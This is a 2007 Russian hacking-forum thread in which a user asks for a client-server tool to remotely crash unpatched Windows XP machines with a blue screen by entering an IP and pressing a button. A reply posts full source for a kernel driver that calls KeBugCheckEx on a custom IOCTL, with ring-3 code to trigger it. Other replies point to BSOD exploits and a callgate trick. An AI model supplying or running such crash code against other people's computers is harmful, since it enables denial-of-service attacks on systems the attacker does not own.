Удаленный BSOD

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by Zitt, 22 Mar 2007.

  1. Zitt

    Zitt Elder - Старейшина

    Joined:
    7 May 2006
    Messages:
    736
    Likes Received:
    268
    Reputations:
    59
    Возможно ли реализовать такое?
    Вобшем надо прогу клиент-сервер чтоб удаолённо мона было вызывать BSOD на WinXPsp2 (без обнов)
     
    1 person likes this.
  2. _Great_

    _Great_ Elder - Старейшина

    Joined:
    27 Dec 2005
    Messages:
    2,032
    Likes Received:
    1,119
    Reputations:
    1,139
    а почему нет.
    сервер + драйвер будут принимать запросы, драйвер будет вызываться и генерить бсод.
    клиент будет слать запрос на бсод.

    только вопрос - нафига?
     
  3. Zitt

    Zitt Elder - Старейшина

    Joined:
    7 May 2006
    Messages:
    736
    Likes Received:
    268
    Reputations:
    59
    Можеш исходник накидать?
    Да забыл сказать конект надо по Tcp/ip, типа вводиш ип жамкаеш кнопку и удалённая тачка в дауне.

    Нужно...
     
  4. TaNkist

    TaNkist Elder - Старейшина

    Joined:
    6 Apr 2006
    Messages:
    147
    Likes Received:
    47
    Reputations:
    19
    В принципе если винда без обновлений, то можно просто на тачке какой-нибудь эксплоит , вызывающий BSoD, запускать. Но это не универсальный метод.
    Драйвер убийца вместе с загрузчиком прилагаются к книжке Шнайбера Недокументированные возможности Windows 2000
     
  5. _Great_

    _Great_ Elder - Старейшина

    Joined:
    27 Dec 2005
    Messages:
    2,032
    Likes Received:
    1,119
    Reputations:
    1,139
    Че там писать то

    Code:
    #define _X86_
    #include <ntddk.h>
    
    UNICODE_STRING DeviceName;
    UNICODE_STRING SymbolicLinkName;
    PDEVICE_OBJECT deviceObject;
    
    #define IOCTL_CRASH_SYSTEM      CTL_CODE( FILE_DEVICE_UNKNOWN, 0x01, METHOD_BUFFERED, FILE_ANY_ACCESS )
    NTSTATUS DriverIoControl(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp)
    {
        PIO_STACK_LOCATION pisl     = IoGetCurrentIrpStackLocation(Irp);
    	NTSTATUS           status   = STATUS_UNSUCCESSFUL;
    	ULONG              BuffSize = pisl->Parameters.DeviceIoControl.InputBufferLength;
    	PUCHAR             pBuff    = (PUCHAR)Irp->AssociatedIrp.SystemBuffer;
    
    	Irp->IoStatus.Information = 0;
    
    	if( pisl->Parameters.DeviceIoControl.IoControlCode == IOCTL_CRASH_SYSTEM )
    		KeBugCheckEx( IRQL_NOT_LESS_OR_EQUAL, &KeBugCheckEx, HIGH_LEVEL, &KeBugCheck, &DbgPrint);
    
        Irp->IoStatus.Status = status;
        IoCompleteRequest(Irp, IO_NO_INCREMENT);
        return status;
    }
    
    NTSTATUS DriverCreateClose(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp)
    {
        Irp->IoStatus.Information = 0;
        Irp->IoStatus.Status = STATUS_SUCCESS;
        IoCompleteRequest(Irp, IO_NO_INCREMENT);
        return STATUS_SUCCESS;
    }
    
    void DriverUnload(IN PDRIVER_OBJECT DriverObject)
    {
    	IoDeleteSymbolicLink (&SymbolicLinkName);
    	if(deviceObject)
    		IoDeleteDevice (deviceObject);
    }
    
    NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath)
    {
    	NTSTATUS status;
    
    	RtlInitUnicodeString(&DeviceName, L"\\Device\\crashd");
        RtlInitUnicodeString(&SymbolicLinkName, L"\\DosDevices\\crashd");
    
    	status = IoCreateDevice(DriverObject, 
    		                    0, 
    							&DeviceName, 
    							FILE_DEVICE_UNKNOWN, 
    							0, 
    							TRUE, 
    							&deviceObject);
    	
    	if (!NT_SUCCESS(status))
    	{
    		return STATUS_UNSUCCESSFUL;
    	}
    	
    	deviceObject->Flags |= DO_BUFFERED_IO;
    	status = IoCreateSymbolicLink(&SymbolicLinkName, &DeviceName);
    	if (!NT_SUCCESS(status))
    	{
    		IoDeleteDevice(deviceObject);
    		return STATUS_UNSUCCESSFUL;
    	}
    	DriverObject->DriverUnload = DriverUnload;
    	DriverObject->MajorFunction [IRP_MJ_CREATE] =
              DriverObject->MajorFunction [IRP_MJ_CLOSE ] = DriverCreateClose;
              DriverObject->MajorFunction [IRP_MJ_DEVICE_CONTROL ] = DriverIoControl;
    
    	return STATUS_SUCCESS;
    }
    
    Использовать примерно так в ринг3:

    Code:
    HANDLE hFile = CreateFile( "\\\\.\\crashd", GENERIC_READ, .... );
    DeviceIoContol( hFile, IOCTL_CRASH_SYSTEM, 0, 0, ....);
    
     
    #5 _Great_, 23 Mar 2007
    Last edited: 23 Mar 2007
    2 people like this.
  6. Zitt

    Zitt Elder - Старейшина

    Joined:
    7 May 2006
    Messages:
    736
    Likes Received:
    268
    Reputations:
    59
    _Great_, пасиба большое...
     
  7. _Great_

    _Great_ Elder - Старейшина

    Joined:
    27 Dec 2005
    Messages:
    2,032
    Likes Received:
    1,119
    Reputations:
    1,139
    Надеюсь ты знаешь, что на момент вызова CreateFile драйвер должен быть уже загружен?
     
  8. sn0w

    sn0w Статус пользователя:

    Joined:
    26 Jul 2005
    Messages:
    1,023
    Likes Received:
    1,297
    Reputations:
    327
    нах вообще драйвер???????????? калгейт, епта и irql в смятку, правда попрет не дальше хрюшки